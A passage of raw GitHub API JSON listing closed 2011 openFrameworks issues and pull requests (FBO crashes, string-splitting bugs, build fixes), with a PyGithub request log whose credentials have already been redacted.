4\r\nmaxSamples: 6\r\n\r\nI get a EXC_BAD_ACCESS error on line 370 of ofFBO.cpp\r\n\r\nHere is a screenshot of the debugger\r\nhttp://imbx.us/Xld.png\r\n\r\nanother with ofFBO::Settings expanded\r\nhttp://imbx.us/X9f1.png\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/653","comments":26,"milestone":null,"number":653,"html_url":"https://github.com/openframeworks/openFrameworks/issues/653","assignee":null,"title":"ofFBO crashing on allocate","labels":[],"closed_at":"2011-07-19T16:37:22Z","created_at":"2011-07-18T05:53:28Z","state":"closed","user":{"url":"https://api.github.com/users/jvcleave","gravatar_id":"9c0384a91739bea093f453cf40a59742","login":"jvcleave","id":150037,"avatar_url":"https://secure.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1239898,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-15T13:05:13Z","body":"missing checks was causing crashes on backthreads\r\n\r\nalso made consistent and took out unneeded '== true' checks","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/650","comments":0,"milestone":null,"number":650,"html_url":"https://github.com/openframeworks/openFrameworks/issues/650","assignee":null,"title":"added checks for bUseTexture in ofImage","labels":[],"closed_at":"2011-07-15T13:05:13Z","created_at":"2011-07-15T08:53:00Z","state":"closed","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","id":321434,"avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1229132,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/650.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/650","patch_url":"https://github.com/openframeworks/openFrameworks/pull/650.patch"}},{"updated_at":"2011-07-15T13:03:54Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/649","comments":0,"milestone":null,"number":649,"html_url":"https://github.com/openframeworks/openFrameworks/issues/649","assignee":null,"title":"A handful of small ofTrueTypeFont fixes / updates.","labels":[],"closed_at":"2011-07-15T13:03:54Z","created_at":"2011-07-15T02:05:51Z","state":"closed","user":{"url":"https://api.github.com/users/bakercp","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","login":"bakercp","id":300484,"avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1227955,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/649.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/649","patch_url":"https://github.com/openframeworks/openFrameworks/pull/649.patch"}},{"updated_at":"2011-07-14T17:39:48Z","body":"in order to help integrating it into the rest of the drawables i think it makes sense for the fbo to extend these two classes.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/648","comments":1,"milestone":null,"number":648,"html_url":"https://github.com/openframeworks/openFrameworks/issues/648","assignee":null,"title":"ofFbo extends ofBaseDraws and ofBaseHasTexture","labels":[],"closed_at":"2011-07-14T17:39:21Z","created_at":"2011-07-14T17:37:02Z","state":"closed","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","id":321434,"avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1224637,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/648.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/648","patch_url":"https://github.com/openframeworks/openFrameworks/pull/648.patch"}},{"updated_at":"2011-07-14T16:42:24Z","body":"like the title says....\r\n\r\nI'm back baby!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/647","comments":1,"milestone":null,"number":647,"html_url":"https://github.com/openframeworks/openFrameworks/issues/647","assignee":null,"title":"removed a bunch of .DS_Store files from the rep","labels":[],"closed_at":"2011-07-14T16:42:16Z","created_at":"2011-07-14T16:38:04Z","state":"closed","user":{"url":"https://api.github.com/users/memo","gravatar_id":"b5c0e3c2630097b29680cfeda464024c","login":"memo","id":144230,"avatar_url":"https://secure.gravatar.com/avatar/b5c0e3c2630097b29680cfeda464024c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1224318,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/647.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/647","patch_url":"https://github.com/openframeworks/openFrameworks/pull/647.patch"}},{"updated_at":"2011-07-14T22:30:46Z","body":"The current implementation uses `TARGET_*` macros to determine which `OF_SOUND_PLAYER_*` macro to define and as a result which audio backend to use. This patch makes it so that if a `OF_SOUND_PLAYER_*` macro is defined beforehand, it is taken as authoritative and no further checking is done. It makes it possible to force an audio backend if needed.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/644","comments":5,"milestone":null,"number":644,"html_url":"https://github.com/openframeworks/openFrameworks/issues/644","assignee":null,"title":"Make ofSoundPlayer's choice of backend overrideable","labels":[],"closed_at":"2011-07-14T18:37:06Z","created_at":"2011-07-12T14:57:33Z","state":"closed","user":{"url":"https://api.github.com/users/nasser","gravatar_id":"c9449359b1c46fd095d70f7ddb6aff2e","login":"nasser","id":412966,"avatar_url":"https://secure.gravatar.com/avatar/c9449359b1c46fd095d70f7ddb6aff2e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1208975,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/644.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/644","patch_url":"https://github.com/openframeworks/openFrameworks/pull/644.patch"}},{"updated_at":"2011-07-11T21:55:33Z","body":"i just pulled from upstream noticed i've slightly diverged. there were a couple little fixes i had for windows that hadn't been pulled it seems.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/641","comments":1,"milestone":null,"number":641,"html_url":"https://github.com/openframeworks/openFrameworks/issues/641","assignee":null,"title":"fixing some windows issues, other issues","labels":[],"closed_at":"2011-07-11T21:46:46Z","created_at":"2011-07-11T19:45:50Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1203852,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/641.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/641","patch_url":"https://github.com/openframeworks/openFrameworks/pull/641.patch"}},{"updated_at":"2011-07-20T13:05:26Z","body":"Latest version of xmlSettingsExample with the touch methods was missing the multitouch set-up.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/640","comments":2,"milestone":null,"number":640,"html_url":"https://github.com/openframeworks/openFrameworks/issues/640","assignee":null,"title":"Add missing multitouch set-up to the xmlSettingsExample testApp","labels":[],"closed_at":"2011-07-20T13:05:26Z","created_at":"2011-07-11T13:25:38Z","state":"closed","user":{"url":"https://api.github.com/users/gwydionapdafydd","gravatar_id":"72620270b0d72c728e6948bb3c783774","login":"gwydionapdafydd","id":649628,"avatar_url":"https://secure.gravatar.com/avatar/72620270b0d72c728e6948bb3c783774?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1201474,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/640.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/640","patch_url":"https://github.com/openframeworks/openFrameworks/pull/640.patch"}},{"updated_at":"2011-07-11T13:18:39Z","body":"Vertex data is not copied from mesh:\r\n\r\nFix:\r\nhttps://gist.github.com/ab64c7ca0b4f77313c42\r\n\r\nTest code:\r\ntestApp.h: https://gist.github.com/8b5b7637cd7ec5e90721\r\ntestApp.cpp: https://gist.github.com/1075760\r\n\r\n\r\nAlso rename \"getIndexPointer\" to \"getIndicesPointer()\", all other \"get[x]Pointer\" use plural.\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/639","comments":0,"milestone":null,"number":639,"html_url":"https://github.com/openframeworks/openFrameworks/issues/639","assignee":null,"title":"ofVbo::setMesh does not set index data + naming thingie","labels":[],"closed_at":"2011-07-11T13:18:39Z","created_at":"2011-07-11T12:37:53Z","state":"closed","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","id":358809,"avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1201259,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-12T14:22:59Z","body":"Would be more clear to use both getTextureReference()","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/638","comments":2,"milestone":null,"number":638,"html_url":"https://github.com/openframeworks/openFrameworks/issues/638","assignee":null,"title":"ofFbo::getTexture <-> ofImage::getTextureReference","labels":[],"closed_at":"2011-07-12T14:22:59Z","created_at":"2011-07-11T11:51:04Z","state":"closed","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","id":358809,"avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1201069,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T00:26:59Z","body":"`ofQuicktimeSoundPlayer.h` is `#include`d in `ofSoundPlayer.h`, but the actual header and implementation files are nowhere in the `libs/openFrameworks` tree. \r\n\r\n`ofSoundPlayer.h` lines 48-51.\r\n\r\n```cpp\r\n#ifdef OF_SOUND_PLAYER_QUICKTIME\r\n#include \"ofQuicktimeSoundPlayer.h\"\r\n#define OF_SOUND_PLAYER_TYPE ofQuicktimeSoundPlayer\r\n#endif\r\n```\r\n\r\nThere is an ofQuicktimeSoundPlayer.h/.cpp in `apps/devApps/goodByeFMODExample` that seem to work fine (its what I use in [zajal](http://zajal.cc) to play back sounds). This commit copies those files into `libs/openFrameworks/sound/` so that `OF_SOUND_PLAYER_QUICKTIME` can be used.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/637","comments":2,"milestone":null,"number":637,"html_url":"https://github.com/openframeworks/openFrameworks/issues/637","assignee":null,"title":"ofQuicktimeSoundPlayer","labels":[],"closed_at":"2012-02-25T00:26:51Z","created_at":"2011-07-11T11:32:15Z","state":"closed","user":{"url":"https://api.github.com/users/nasser","gravatar_id":"c9449359b1c46fd095d70f7ddb6aff2e","login":"nasser","id":412966,"avatar_url":"https://secure.gravatar.com/avatar/c9449359b1c46fd095d70f7ddb6aff2e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1200989,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/637.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/637","patch_url":"https://github.com/openframeworks/openFrameworks/pull/637.patch"}},{"updated_at":"2011-07-11T13:10:11Z","body":"Hope this is ok to do... have a fix in the iPhoneAddonsExamples/xmlSettingsExample that I wanted to share, so need to edit the apps/.gitignore first","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/636","comments":4,"milestone":null,"number":636,"html_url":"https://github.com/openframeworks/openFrameworks/issues/636","assignee":null,"title":"Exclude iPhoneAddonsExamples from the apps folder .gitignore","labels":[],"closed_at":"2011-07-11T13:10:00Z","created_at":"2011-07-11T10:47:50Z","state":"closed","user":{"url":"https://api.github.com/users/gwydionapdafydd","gravatar_id":"72620270b0d72c728e6948bb3c783774","login":"gwydionapdafydd","id":649628,"avatar_url":"https://secure.gravatar.com/avatar/72620270b0d72c728e6948bb3c783774?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1200829,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/636.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/636","patch_url":"https://github.com/openframeworks/openFrameworks/pull/636.patch"}},{"updated_at":"2011-07-11T13:32:53Z","body":"^^^^","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/635","comments":0,"milestone":null,"number":635,"html_url":"https://github.com/openframeworks/openFrameworks/issues/635","assignee":null,"title":"ofMaterial.h not included by default","labels":[],"closed_at":"2011-07-11T13:32:53Z","created_at":"2011-07-11T09:57:35Z","state":"closed","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","id":358809,"avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1200636,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-11T13:18:39Z","body":"Here is a fix:\r\nhttps://gist.github.com/1075582","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/634","comments":0,"milestone":null,"number":634,"html_url":"https://github.com/openframeworks/openFrameworks/issues/634","assignee":null,"title":"ofLight::set[*]Color are not setting the colors","labels":[],"closed_at":"2011-07-11T13:18:39Z","created_at":"2011-07-11T09:17:18Z","state":"closed","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","id":358809,"avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1200465,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-10T20:52:21Z","body":"\r\nNot a big deal, but odd nonetheless.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/633","comments":2,"milestone":null,"number":633,"html_url":"https://github.com/openframeworks/openFrameworks/issues/633","assignee":null,"title":"the base template for the DeployExamples has opencv includes in it","labels":[],"closed_at":"2011-07-10T20:50:57Z","created_at":"2011-07-10T15:02:17Z","state":"closed","user":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","id":237423,"avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1197698,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/633.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/633","patch_url":"https://github.com/openframeworks/openFrameworks/pull/633.patch"}},{"updated_at":"2011-07-08T17:37:49Z","body":"Hei.\r\nI have detected that of doesn't compiles in MAC OSX.\r\nI am in 10.6\r\nI am using the master\r\nI spouse that some changes have beenn made in quicktime library.\r\n\r\nthat is the error at get\r\n\r\nI have detected also that there is not Xcode project in most of the examples.\r\n\r\nThanks\r\n\r\nopenFrameworks\r\n/Users/juliolucio/Documents/_My Code_/XCode Projects/openFrameworks/libs/openFrameworks/video/ofQuickTimeGrabber.cpp\r\n'MacSetRect' was not declared in this scope\r\n'GetGWorldPixMap' was not declared in this scope\r\n'LockPixels' was not declared in this scope\r\n'SetGWorld' was not declared in this scope\r\n/Users/juliolucio/Documents/_My Code_/XCode Projects/openFrameworks/libs/openFrameworks/video/ofQuickTimePlayer.cpp\r\n'DisposeGWorld' was not declared in this scope\r\n'GetGWorldPixMap' was not declared in this scope\r\n'LockPixels' was not declared in this scope\r\n'SetGWorld' was not declared in this scope\r\n'DisposeGWorld' was not declared in this scope","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/632","comments":2,"milestone":null,"number":632,"html_url":"https://github.com/openframeworks/openFrameworks/issues/632","assignee":null,"title":"openframeworks lib not compiling","labels":[],"closed_at":"2011-07-08T17:37:49Z","created_at":"2011-07-08T17:26:12Z","state":"closed","user":{"url":"https://api.github.com/users/juliolucio","gravatar_id":"01004afde74eb6d67c920c4b9c878239","login":"juliolucio","id":356169,"avatar_url":"https://secure.gravatar.com/avatar/01004afde74eb6d67c920c4b9c878239?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1191360,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-08T17:43:12Z","body":"When passing a width and height bigger then the cropped-from image you get garbage data in the image.\r\n\r\nTest code: \r\nhttps://gist.github.com/bc6dfc5e0f27a7bee8c8\r\n\r\n\r\n... and I'm off again... doing some bughunting.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/630","comments":1,"milestone":null,"number":630,"html_url":"https://github.com/openframeworks/openFrameworks/issues/630","assignee":null,"title":"ofImage::cropFrom() needs a size check ","labels":[],"closed_at":"2011-07-08T17:43:12Z","created_at":"2011-07-07T21:30:33Z","state":"closed","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","id":358809,"avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1185298,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-08T18:01:33Z","body":"When you render to a PDF and you don't call ofSetColor first the shape (i only tested ofCircle) is not rendered. Adding a call to ofSetColor before ofCircle works. \r\n\r\nTest code\r\nhttps://gist.github.com/417b767770e524f11add","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/629","comments":0,"milestone":null,"number":629,"html_url":"https://github.com/openframeworks/openFrameworks/issues/629","assignee":null,"title":"render to PDF without call to ofSetColor doesnt render circle","labels":[],"closed_at":"2011-07-08T18:01:33Z","created_at":"2011-07-07T20:17:12Z","state":"closed","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","id":358809,"avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1184834,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-08T18:12:40Z","body":"hi\r\n\r\nto get opencv to compile, I had to add one line to the opencv code. found the solution throughout the internet and don't know how we should handle bugfixes which are not directly in OF ? And I also don't know whats happening on mac/win with this line.\r\nhere is the diff\r\n\r\n diff --git a/addons/ofxOpenCv/libs/opencv/include/opencv2/core/core.hpp b/addons/ofxOpenCv/libs/open\r\n index 338d53b..50356e2 100755\r\n --- a/addons/ofxOpenCv/libs/opencv/include/opencv2/core/core.hpp\r\n +++ b/addons/ofxOpenCv/libs/opencv/include/opencv2/core/core.hpp\r\n @@ -74,6 +74,7 @@ namespace cv {\r\n \r\n using std::vector;\r\n using std::string;\r\n +using std::ptrdiff_t;\r\n \r\n template class CV_EXPORTS Size_;\r\n template class CV_EXPORTS Point_;","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/628","comments":0,"milestone":null,"number":628,"html_url":"https://github.com/openframeworks/openFrameworks/issues/628","assignee":null,"title":"opencv doesn't compile (at least on archlinux)","labels":[],"closed_at":"2011-07-08T18:12:40Z","created_at":"2011-07-07T07:47:41Z","state":"closed","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","id":124513,"avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1180596,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-06T21:16:51Z","body":"see title","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/627","comments":0,"milestone":null,"number":627,"html_url":"https://github.com/openframeworks/openFrameworks/issues/627","assignee":null,"title":"ofFilePath::getFilename <> ofFile::getFileName, name clash","labels":[],"closed_at":"2011-07-06T21:16:51Z","created_at":"2011-07-06T21:12:10Z","state":"closed","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","id":358809,"avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1176801,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-09T14:07:50Z","body":"1) ofLog() calls are not stored in the log file.\r\n2) ofLogVerbose(), ofLogNotice(), ofLogWarning(), ofLogError(), ofLogFatalError() do log to a file, but the file is not appended.\r\n3) The message <> level of ofLogVerbose, ofLogWarning, etc.. is different then ofLog\r\n\r\nSee:\r\nhttps://gist.github.com/1068321\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/626","comments":0,"milestone":null,"number":626,"html_url":"https://github.com/openframeworks/openFrameworks/issues/626","assignee":null,"title":"ofLog() doesnt log to file, ofLogVerbose, ofLogWarning* does; not appended","labels":[],"closed_at":"2011-07-09T14:07:50Z","created_at":"2011-07-06T21:07:06Z","state":"closed","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","id":358809,"avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1176772,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=19&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4977'), ('content-length', '32311'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"ac442e01b28d5423488f9df5041237be"'), ('date', 'Tue, 29 May 2012 18:46:39 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-07-06T19:25:10Z","body":"Creating a blocking thread does not block. \r\n\r\nhttps://gist.github.com/1068050","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/625","comments":2,"milestone":null,"number":625,"html_url":"https://github.com/openframeworks/openFrameworks/issues/625","assignee":null,"title":"ofThead::startThread(true,true) - blocking thread does not block","labels":[],"closed_at":"2011-07-06T19:19:38Z","created_at":"2011-07-06T19:06:09Z","state":"closed","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","id":358809,"avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1175978,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-09T14:09:23Z","body":"Creating a blocking thread does not block. \r\n\r\nhttps://gist.github.com/1068050","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/624","comments":0,"milestone":null,"number":624,"html_url":"https://github.com/openframeworks/openFrameworks/issues/624","assignee":null,"title":"ofThead::startThread(true,true) - blocking thread does not block","labels":[],"closed_at":"2011-07-09T14:09:23Z","created_at":"2011-07-06T19:06:06Z","state":"closed","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","id":358809,"avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1175977,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-06T10:19:36Z","body":"Two wizards, each doing the same thing but with slightly different scripts.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/622","comments":0,"milestone":null,"number":622,"html_url":"https://github.com/openframeworks/openFrameworks/issues/622","assignee":null,"title":"Added Linux and Windows codeblocks wizards to script folder","labels":[],"closed_at":"2011-07-06T10:19:36Z","created_at":"2011-07-06T08:12:48Z","state":"closed","user":{"url":"https://api.github.com/users/pierrep","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","login":"pierrep","id":392160,"avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1172547,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/622.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/622","patch_url":"https://github.com/openframeworks/openFrameworks/pull/622.patch"}},{"updated_at":"2011-07-06T11:43:29Z","body":"nothing structural. once the release happens i'll switch back to using branches ;)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/621","comments":0,"milestone":null,"number":621,"html_url":"https://github.com/openframeworks/openFrameworks/issues/621","assignee":null,"title":"ofSplitString bug fix + a few other things","labels":[],"closed_at":"2011-07-06T11:43:29Z","created_at":"2011-07-06T04:46:18Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1171930,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/621.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/621","patch_url":"https://github.com/openframeworks/openFrameworks/pull/621.patch"}},{"updated_at":"2011-07-06T16:23:36Z","body":"Continuing my bug hunting party here :)\r\n\r\nThis piece of code:\r\n----------------------------\r\n\tstring items = \"one|two|three|four|five |||test|\";\r\n\tvector parts = ofSplitString(items,\"|\",true,true);\r\n\tfor(int i = 0; i < parts.size(); ++i) {\r\n\t\tcout << \"part: '\" << parts[i] << \"'\" << endl;\r\n\t}\r\n\r\nGives me this\r\n-------------------\r\npart: 'one'\r\npart: 'two'\r\npart: 'three'\r\npart: 'four'\r\npart: 'five'\r\npart: 'test'\r\npart: ''\r\n\r\nBut I would expect:\r\n---------------------------\r\npart: 'one'\r\npart: 'two'\r\npart: 'three'\r\npart: 'four'\r\npart: 'five'\r\npart: 'test'\r\n\r\n\r\nGreetz! \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/620","comments":1,"milestone":null,"number":620,"html_url":"https://github.com/openframeworks/openFrameworks/issues/620","assignee":null,"title":"ofSplitString - delimiter at end gives incorrect result ","labels":[],"closed_at":"2011-07-06T16:23:36Z","created_at":"2011-07-05T21:07:29Z","state":"closed","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","id":358809,"avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1170163,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-09T16:01:01Z","body":"^^^ There is a ifdef in ofCamera which skips using the ortho. I suppose this should set the ortho. I saw it's possible to set what kind of ortho one wants to use; it's common to use a top left or centered orho matrix. ofMatrix4x4 already has a orho functions which can be used.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/619","comments":2,"milestone":null,"number":619,"html_url":"https://github.com/openframeworks/openFrameworks/issues/619","assignee":null,"title":"ofCamera::setOrtho() no implemention when not GLES","labels":[],"closed_at":"2011-07-09T14:53:16Z","created_at":"2011-07-05T18:26:19Z","state":"closed","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","id":358809,"avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1169049,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-06T19:32:52Z","body":"At least in Fedora 15, seems like an update to ld now requires libraries to be linked explicitly. The example apps do not compile properly now as is. The appropriate library tags needed to be add to the makefile.\r\n\r\nFor example:\r\n\r\n/usr/bin/ld: /usr/lib/gcc/i686-redhat-linux/4.6.0/../../../libgio-2.0.so: undefined reference to symbol 'inflateInit2_'\r\n/usr/bin/ld: note: 'inflateInit2_' is defined in DSO /lib/libz.so.1 so try adding it to the linker command line\r\n/lib/libz.so.1: could not read symbols: Invalid operation\r\ncollect2: ld returned 1 exit status\r\nmake: *** [bin/advanced3dExample] Error 1\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/617","comments":2,"milestone":null,"number":617,"html_url":"https://github.com/openframeworks/openFrameworks/issues/617","assignee":null,"title":"Linux makefiles now need to link libraries 